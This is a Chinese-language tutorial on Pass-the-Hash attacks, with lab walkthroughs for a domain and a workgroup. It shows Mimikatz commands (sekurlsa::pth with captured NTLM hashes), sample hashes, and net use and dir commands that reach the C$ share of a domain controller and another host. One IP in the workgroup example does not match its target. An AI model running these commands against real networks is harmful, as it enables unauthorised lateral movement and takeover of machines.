哈希传递攻击详解
哈希传递攻击(Pass The Hash)是一种通过获取与账户相关的密码散列值(通常是 NTLM Hash)来实施的攻击方法。
在域环境中,用户通常使用域账号登录计算机。由于许多计算机在安装时使用相同的本地管理员账户密码,如果这些计算机的本地管理员账户和密码一致,攻击者便可利用哈希传递攻击方法登录内网中的其他计算机。
哈希传递攻击的优势在于,攻击者无需破解密码散列值来获取明文密码。
在 Windows Server 2012 R2 及之后版本的操作系统中,默认情况下内存中不会存储明文密码。因此,攻击者通常会使用工具将散列值传递到其他计算机中,进行权限验证,从而实现对远程计算机的控制。
哈希传递攻击的前提条件是拥有管理员的 NTLM Hash,并且目标机器的445端口处于开放状态。
在工作组环境中,Windows Vista 之前的机器可以使用本地管理员组内的用户进行攻击。而在 Windows Vista 之后的机器上,只有管理员(SID 为 500)的哈希值才可用于哈希传递攻击,其他用户(包括管理员用户但非管理员)将无法使用哈希传递攻击,并会提示拒绝访问。
使用 NTLM Hash 进行哈希传递
在域环境中,常用的工具是 Mimikatz。
首先,使用 Mimikatz 获取域管理员的 NTLM Hash:
administratorccef208c6485269c20db2cad21734fe7

重要的是,在使用哈希传递时,需要以管理员权限运行 Mimikatz。假设我们已经获取了域管理员组内用户的 NTLM 哈希值。我们可以使用域内的一台主机通过 Mimikatz 对域内任何一台机器(包括域控)进行哈希传递攻击。执行命令后,会弹出 CMD 窗口,在该窗口中我们可以访问域内任何一台机器。条件是我们必须拥有域内任意一台主机的本地管理员权限和域管理员的 NTLM 哈希值。
攻击者:mary.god(域用户,具有管理员权限的 shell)
目标:god.administrator(域管理员)
目标 IP:192.168.3.21
首先,使用 Mimikatz 获取域管理员的 NTLM Hash:
god.orgadministratorccef208c6485269c20db2cad21734fe7
运行以下命令以弹出 CMD:
# 运行命令弹出 CMD mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" # 与域控建立 IPC net use \\192.168.3.21 # 查看目标机器的 C 盘文件 dir \\192.168.3.21\c$

在工作组环境中,同样使用 Mimikatz。
攻击者:mary(工作组,管理员权限)
目标:administrator(本地管理员)
目标 IP:192.168.3.31
首先,使用 Mimikatz 获取本地管理员的 NTLM Hash:
administrator518b98ad4178a53695dc997aa02d455c

运行以下命令:
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:目标机器IP /ntlm:xxxxxx" # 实例 mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:192.168.3.31 /ntlm:518b98ad4178a53695dc997aa02d455c" # 与本地管理员建立 IPC net use \\192.168.3.21 # 查看目标机器的 C 盘文件 dir \\192.168.3.31\c$

注意,有时在 dir 命令后面使用 IP 地址会提示用户名或密码错误,此时需要使用目标的主机名:
dir \\OWA2010CN-God\c$

成功后,会自动弹出一个新的 shell,此时访问远程主机或服务无需提供明文密码。例如,我们列出了域控制器的 C 盘目录:
在进行哈希传递攻击时,需要注意以下几点:
-
dir命令后面要使用主机名,不能使用 IP,否则会报错。 - 使用 Mimikatz 进行哈希传递时,需要具有本地管理员权限。
参考文章:










